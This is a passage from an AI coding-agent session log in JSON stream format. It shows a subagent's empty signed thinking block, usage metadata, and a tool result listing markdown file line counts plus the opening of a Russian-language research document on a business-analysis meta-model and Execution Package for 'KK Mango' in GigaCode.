905,\n[2026-09-29T07:44:46.187Z] [STDOUT] }\n[2026-09-29T07:44:46.196Z] [INFO] {\n[2026-09-29T07:44:46.196Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:44:46.196Z] [INFO]   \"message\": {\n[2026-09-29T07:44:46.196Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:44:46.196Z] [INFO]     \"id\": \"msg_011CfXMho95dWKpPKLz6Tasf\",\n[2026-09-29T07:44:46.196Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:44:46.196Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:44:46.196Z] [INFO]     \"content\": [\n[2026-09-29T07:44:46.196Z] [INFO]       {\n[2026-09-29T07:44:46.196Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:44:46.196Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:44:46.196Z] [INFO]         \"signature\": \"CAQSzgQKEAgSGAI4AUIIdGhpbmtpbmcSDAuCZSKJV8ugScQaPxoMz+NxMUYG3Y2yL6VZIjBRQi7kFoJpuQB0fFIfnbnNUxuc5mE7jyvl76ccNuDefdjqtgXKqVIdRAzNg3Ab68sq6wNFm9X2hPzgH9sLQkNUKhW9yeXPEZkvY/tVeyWjfhwZeUp3aj18O2rdeAlYTlqSqsa58SfLsER+gpOaAiQTNeTthtz+FHZ6HlJXK1QSLex8/Wm9heOk/VXIp6AgNhhGCZPbEU7fjTXfeCK1AxIWkpOCuKM5owNn5a+Pr/nN8jz3gLk0x9Xwv6sEYXJjjQXVMIIYpvXZXlfcUZjZzol3xSqPsE0ZssOfojjezrJ7FsQQMx4IRGUv3s1yLlcH6ax/aGCaeTpVhbnWDlRkr/jK3M1iHcVqH0z4bJ1/Humsdr3PZROi3dPS7WKH7+7VCqwy45gSgpBfzUUpDX1qlpxfhIzVD2S03rc2mMgywIIWEfi7ewSaMwaBSMEt4740jPQtRRsJ7R7MoVmzR+Y8z3/aWRfNdI0y3xT1dhvRS15liW5PxUG3De5X5KlcRrMEqaACWSOu5fHpx9W9X0qIxI7EJDz3qGMuCua63LjTjAJFq7nTCgUED/OER5aTjXUF24CSfQfC19ohfdhovh+lSvGX4Qc+8bW+YO6xjuLa1GDvr9n4ut3pCnlcYbuundAQC0mDmrRDc6LS7Vem9oSB71ZT7IdfLgSuf+6uT7BRgKyxL3MgD3waNH0bMHcQg2lN+mWBKz1FxtHhB5BjX4KxJxgB\"\n[2026-09-29T07:44:46.196Z] [INFO]       }\n[2026-09-29T07:44:46.196Z] [INFO]     ],\n[2026-09-29T07:44:46.196Z] [INFO]     \"container\": null,\n[2026-09-29T07:44:46.196Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:44:46.196Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:44:46.196Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:44:46.196Z] [INFO]     \"usage\": {\n[2026-09-29T07:44:46.196Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:44:46.196Z] [INFO]       \"cache_creation_input_tokens\": 9739,\n[2026-09-29T07:44:46.196Z] [INFO]       \"cache_read_input_tokens\": 32400,\n[2026-09-29T07:44:46.196Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:44:46.196Z] [INFO]         \"ephemeral_5m_input_tokens\": 9739,\n[2026-09-29T07:44:46.196Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:44:46.196Z] [INFO]       },\n[2026-09-29T07:44:46.196Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:44:46.196Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:44:46.196Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:44:46.196Z] [INFO]     },\n[2026-09-29T07:44:46.196Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:44:46.196Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:44:46.196Z] [INFO]     \"context_management\": null\n[2026-09-29T07:44:46.196Z] [INFO]   },\n[2026-09-29T07:44:46.196Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:44:46.196Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:46.196Z] [INFO]   \"uuid\": \"e4f91938-2c47-4e66-80ab-760eeee1ce40\",\n[2026-09-29T07:44:46.196Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:45.990Z\",\n[2026-09-29T07:44:46.196Z] [INFO]   \"request_id\": \"req_011CfXMhndKzhcxqFCRFxzHW\",\n[2026-09-29T07:44:46.196Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:46.196Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:44:46.196Z] [INFO] }\n[2026-09-29T07:44:46.211Z] [INFO] {\n[2026-09-29T07:44:46.211Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:44:46.211Z] [INFO]   \"message\": {\n[2026-09-29T07:44:46.211Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:44:46.211Z] [INFO]     \"content\": [\n[2026-09-29T07:44:46.211Z] [INFO]       {\n[2026-09-29T07:44:46.211Z] [INFO]         \"tool_use_id\": \"toolu_018vUWTSMmYWMwQJnSYx2LVU\",\n[2026-09-29T07:44:46.211Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:44:46.211Z] [INFO]         \"content\": \"   237 00-introduction.md\\n   253 10-theory.md\\n   310 20-taxonomy.md\\n   304 30-decision-framework.md\\n   225 40-practice-and-cases.md\\n   211 50-open-research.md\\n    80 operation-taxonomy/00-introduction.md\\n   111 operation-taxonomy/10-theory.md\\n   243 operation-taxonomy/20-taxonomy.md\\n   102 operation-taxonomy/30-decision-framework.md\\n   100 operation-taxonomy/40-practice-and-cases.md\\n    57 operation-taxonomy/50-open-research.md\\n   134 process-taxonomy/00-introduction.md\\n   218 process-taxonomy/10-theory.md\\n   197 process-taxonomy/20-taxonomy.md\\n   169 process-taxonomy/30-decision-framework.md\\n   133 process-taxonomy/40-practice-and-cases.md\\n    59 process-taxonomy/50-open-research.md\\n  3143 total\\n---\\nstatus: draft\\nversion: 0.4\\nupdated: 2026-09-15\\ntemperature: 0.3\\ntype: research\\ncontext: [ba, methodology, meta-model, taxonomy, actor, execution-package, gigacode, deprecation, traceability, issue-563, issue-571, issue-587]\\nmethod: synthesis + corpus-measurement + entity-modeling + package-design\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/563\\\"\\nbased_on:\\n  - research/ba-requirements/2026-09-08-meta-model-inputs-facts.md\\n  - research/ba-requirements/exp/ba-meta-model-563/meta-model-inputs.json\\n  - research/ba-requirements/methodology-unification/10-theory.md\\n  - research/ba-requirements/artifact-micro-structure/20-taxonomy.md\\nrelated_artifacts:\\n  - \\\"docs/adr/2026-09-adr-013-run-modes-deprecation.md\\\"\\n  - \\\"docs/adr/2026-09-adr-015-process-operation-taxonomy-rebuild.md\\\"\\n  - \\\"projects/ba-ai-process/ba-meta-model/process-taxonomy/20-taxonomy.md\\\"\\n  - \\\"projects/ba-ai-process/ba-meta-model/operation-taxonomy/20-taxonomy.md\\\"\\n  - \\\"standards/product-taxonomy-reference.md\\\"\\n  - \\\"research/ba-requirements/orchestration/00-introduction.md\\\"\\n  - \\\"ops/backlog.md\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/563\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/561\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/557\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/571\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/577\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/587\\\"\\n---\\n\\n# \u041f\u0440\u043e\u0435\u043a\u0442\u043d\u0430\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0411\u0410 \u0434\u043b\u044f \u041a\u041a \u041c\u0430\u043d\u0433\u043e \u0438 Execution Package\\n\\n\u0410\u0432\u0442\u043e\u0440\u0441\u0442\u0432\u043e \u043c\u043e\u0434\u0435\u043b\u0438: **G-Ivan-A**. \u041c\u043e\u0434\u0435\u043b\u044c \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043f\u0440\u043e\u0435\u043a\u0442\u043d\u0443\u044e \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e\\n\u0411\u0410-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u041a\u041a \u041c\u0430\u043d\u0433\u043e \u0432 \u0441\u0440\u0435\u0434\u0435 GigaCode. \u042d\u0442\u043e \u0438\u043c\u044f \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0437\u0430\u044f\u0432\u043a\u043e\u0439 \u043d\u0430\\n\u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c: \u043d\u0435\u0438\u0437\u043c\u0435\u043d\u043d\u043e\u0441\u0442\u044c `L0`/`L1` \u043f\u0440\u0438 \u0441\u043c\u0435\u043d\u0435 \u0434\u043e\u043c\u0435\u043d\u0430 \u2014 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u0430\u044f \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430\\n\u0437\u0430\u0434\u0430\u0447\u0438 `B-158`, \u0430 \u043d\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438.\\n\\n> **\u041c\u043e\u0434\u0443\u043b\u044c** \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d \u043f\u043e\\n> [Reference Research Pattern](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/rfc/2026-07-17-rfc-reference-research-pattern.md):\\n> `00` \u2014 \u0440\u0430\u043c\u043a\u0430 \u0438 \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u044f, `10` \u2014 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u0437\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430\\n> \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, `20` \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438, `30` \u2014 \u0441\u043e\u0441\u0442\u0430\u0432 Execution\\n> Package \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043d\u0430\u0432\u044b\u043a\u0430, `40` \u2014 \u043c\u043e\u0434\u0435\u043b\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430\\n> BCREQ, \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0440\u0435\u0437 \u0438 \u043c\u0435\u0442\u0440\u0438\u043a\u0438, `50` \u2014 \u043d\u0435\u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0435 \u0438 \u0431\u044d\u043a\u043b\u043e\u0433.\\n> **\u0421\u0441\u044b\u043b\u043a\u0438 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u0435** (\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 issue #563). \u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u2014\\n> \u0432\u043d\u0443\u0442\u0440\u0438\u043c\u043e\u0434\u0443\u043b\u044c\u043d\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u0432\\n> [`40-practice-and-cases.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md):\\n> \u043f\u0440\u0430\u0432\u0438\u043b\u043e `P2` \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0430\u0448\u0438\u043d\u043d\u043e\\n> ([`tools/validate-rrp-links.sh`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/tools/validate-rrp-links.sh)).\\n\\n## \u0417\u0430\u0447\u0435\u043c \u043c\u043e\u0434\u0443\u043b\u044c \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442\\n\\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0430\u044f \u0431\u0430\u0437\u0430 \u0411\u0410 \u043a 2026-09-08 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043f\u044f\u0442\u0438 \u043c\u043e\u0434\u0443\u043b\u0435\u0439 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0430\\n(`M0`\u2013`M4`) \u0438 \u0434\u0432\u0443\u0445 \u043e\u0440\u0442\u043e\u0433\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0445 \u043e\u0441\u0435\u0439 \u2014 \u043c\u0430\u043a\u0440\u043e (`methodology-unification/`) \u0438\\n\u043c\u0438\u043a\u0440\u043e (`artifact-micro-structure/`). \u041a\u0430\u0436\u0434\u044b\u0439 \u043c\u043e\u0434\u0443\u043b\u044c \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435 \u0441\u0432\u044f\u0437\u0435\u043d, \u043d\u043e \u043c\u0435\u0436\u0434\u0443\\n\u043c\u043e\u0434\u0443\u043b\u044f\u043c\u0438 \u043e\u0434\u043d\u043e \u0438 \u0442\u043e \u0436\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u043e \u043f\u043e-\u0440\u0430\u0437\u043d\u043e\u043c\u0443: \u0433\u0435\u0439\u0442\u044b \u043e\u043f\u0438\u0441\u0430\u043d\u044b \u0442\u0440\u0438\u0436\u0434\u044b, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0438\\n\u043d\u0430\u0432\u044b\u043a \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u043e\u0434\u043d\u043e\u043c \u043c\u043e\u0434\u0443\u043b\u0435, \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u0436\u0438\u0432\u0451\u0442 \u0438 \u0432 `M3`, \u0438 \u0432\\n\u0448\u0430\u0433\u0435 `S7` \u043c\u0430\u043a\u0440\u043e-\u043e\u0441\u0438.\\n\\nIssue [#563](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/563)\\n\u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0442\u0435\u043e\u0440\u0438\u0438 \u0438 \u0441\u0442\u0430\u0432\u0438\u0442 \u0434\u0432\u0435 \u0437\u0430\u0434\u0430\u0447\u0438: **\u0441\u0432\u0435\u0441\u0442\u0438 \u043d\u0430\u043a\u043e\u043f\u043b\u0435\u043d\u043d\u043e\u0435 \u043a\\n\u043e\u0434\u043d\u043e\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438** \u0438 **\u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u0437 \u043d\u0435\u0451 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043f\u0430\u043a\u0435\u0442**,\\n\u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0440\u0435\u0437 \u0432 GigaCode. \u041c\u043e\u0434\u0443\u043b\u044c \u043d\u0435\\n\u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u043d\u043e\u0432\u043e\u0433\u043e \u0441\u043b\u043e\u044f \u043f\u043e\u0432\u0435\u0440\u0445 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u2014 \u043e\u043d \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442, \u043a\u0430\u043a\u0438\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438\\n\u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435, \u0430 \u043a\u0430\u043a\u0438\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0438\u0445 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f\u043c\u0438.\\n\\n**\u041e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043c\u043e\u0441\u0442\u0438 (\u0432\u0435\u0440\u0441\u0438\u044f 0.2).** \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043f\u043e\u0434\\n\u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u0443\u044e \u043e\u0431\u043b\u0430\u0441\u0442\u044c \u041a\u041a \u041c\u0430\u043d\u0433\u043e \u0438 \u0441\u0440\u0435\u0434\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f GigaCode. \u0423\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c **\u043d\u0435\\n\u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442\u0441\u044f**: `L0` \u0438 `L1` \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043d\u043e\u0439 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u0443\u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u044b \u0438\u0437 BABOK Guide v3\\n\u0438 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u044b \u043f\u043e \u043f\u043e\u0441\u0442\u0440\u043e\u0435\u043d\u0438\u044e, \u0430 `L2`, `L3` \u0438 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0432\u044b\u0432\u0435\u0434\u0435\u043d\u044b \u0438\u0437 \u043e\u0434\u043d\u043e\u0439\\n\u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u043e\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438. \u041f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430 \u0434\u0440\u0443\u0433\u043e\u0439 \u0434\u043e\u043c\u0435\u043d \u2014 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u0434\u043e\u0440\u043e\u0436\u043d\u043e\u0439 \u043a\u0430\u0440\u0442\u044b\\n([`50-open-research.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/50-open-research.md)),\\n\u0430 \u043d\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u043c\u043e\u0434\u0435\u043b\u0438.\\n\\n**\u0427\u0442\u043e \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0430 \u0432\u0435\u0440\u0441\u0438\u044f 0.2**\\n([issue #571](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/571)):\\n\u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u044b \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438 `System` \u0438 `Actor` \u0432 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u043e\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0438, `Skill` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\\n\u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c \u0438 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c\u044e, \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043d\u0430\u044f \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438\\n\u0432\u044b\u043d\u0435\u0441\u0435\u043d\u044b \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043c\u043e\u0434\u0443\u043b\u0438 \u0438 \u043f\u0435\u0440\u0435\u0441\u043e\u0431\u0440\u0430\u043d\u044b \u043d\u0430 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u043e\u043c \u0431\u0430\u0437\u0438\u0441\u0435, \u0430\\n\u0443\u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0438\u0437 \u0441\u043f\u0438\u0446\u044b \u0441\u043b\u043e\u0432\u0430\u0440\u0438 \u0434\u0435\u0432\u044f\u0442\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u0442\u0440\u0438\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439\\n\u0434\u0435\u043f\u0440\u0435\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u044b.\\n\\n## BLUF: \u0434\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0439\\n\\n1. **\u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439.** `Product`, `System`,\\n   `Artifact`, `Operation`, `Skill`, `Process`, `Route`, `Actor`, `Gate`,\\n   `Contract`, `Trace`. \u0412\u0435\u0440\u0441\u0438\u044f 0.2 \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430 `System` \u2014 \u043e\u0431\u044a\u0435\u043a\u0442 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f, \u043a\\n   \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u043f\u0440\u0435\u0434\u044a\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u2014 \u0438 \u043f\u0435\u0440\u0435\u0432\u0435\u043b\u0430 `Skill` \u0438\u0437 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438\\n   \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0432 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c. \u0412\u0441\u0451 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u0432 \u043d\u0430\u043a\u043e\u043f\u043b\u0435\u043d\u043d\u044b\u0445 \u043c\u043e\u0434\u0443\u043b\u044f\u0445 \u2014\\n   \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f, \u0430 \u043d\u0435 \u043d\u043e\u0432\u0430\u044f \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c\\n   ([`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md), \u00a72).\\n2. **\u0418\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u044b \u0437\u0430\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0430\u0440\u043e\u0439 \u00ab\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f + \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441\u00bb.**\\n   \u0420\u0435\u0436\u0438\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0430 (`stepwise`, `oneshot`, `legacy`) \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c\u044e \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0438\\n   \u043f\u0435\u0440\u0435\u0432\u0435\u0434\u0451\u043d \u0432 `deprecated`\\n   ([ADR-013](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-run-modes-deprecation.md)).\\n   \u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u043e: 24 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u043d\u0430 13 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439, \u0441\u0440\u0435\u0434\u043d\u0438\u0439 \u0416\u0430\u043a\u043a\u0430\u0440 \u0441\u043a\u0435\u043b\u0435\u0442\u043e\u0432\\n   \u0440\u0435\u0436\u0438\u043c\u043d\u044b\u0445 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u2014 0.077.\\n3. **\u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u043d\u0430\u0432\u044b\u043a\u0438 (1:N) \u2192 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 (1:N).** \u041d\u0430\u0432\u044b\u043a \u2014 \u043d\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f\\n   \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u0430 **\u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441**: \u0443\u0447\u0430\u0441\u0442\u043e\u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0441 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0432\u0445\u043e\u0434\u043e\u043c, \u0432\u044b\u0445\u043e\u0434\u043e\u043c,\\n   \u0433\u0435\u0439\u0442\u043e\u043c \u0438 \u043f\u0440\u0430\u0432\u043e\u043c \u0432\u0435\u0442\u0432\u0438\u0442\u044c\u0441\u044f. \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0432\u0435\u0442\u0432\u0438\u0442\u044c\u0441\u044f \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442 \u0440\u043e\u0432\u043d\u043e\\n   \u043e\u0434\u0438\u043d \u043a\u043b\u0430\u0441\u0441 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430. \u0422\u0440\u0438 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438, \u0441\u043b\u0438\u0442\u044b\u0435 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 \u0441\u043f\u0438\u0446\u044b \u0432 \u043e\u0434\u0438\u043d \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\\n   (\u043f\u0440\u043e\u043c\u043f\u0442), \u0440\u0430\u0437\u0432\u0435\u0434\u0435\u043d\u044b \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u0430 \u043d\u0435 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435\u043c \u00ab\u043c\u043d\u043e\u0433\u0438\u0435 \u043a\\n   \u043e\u0434\u043d\u043e\u043c\u0443\u00bb\\n   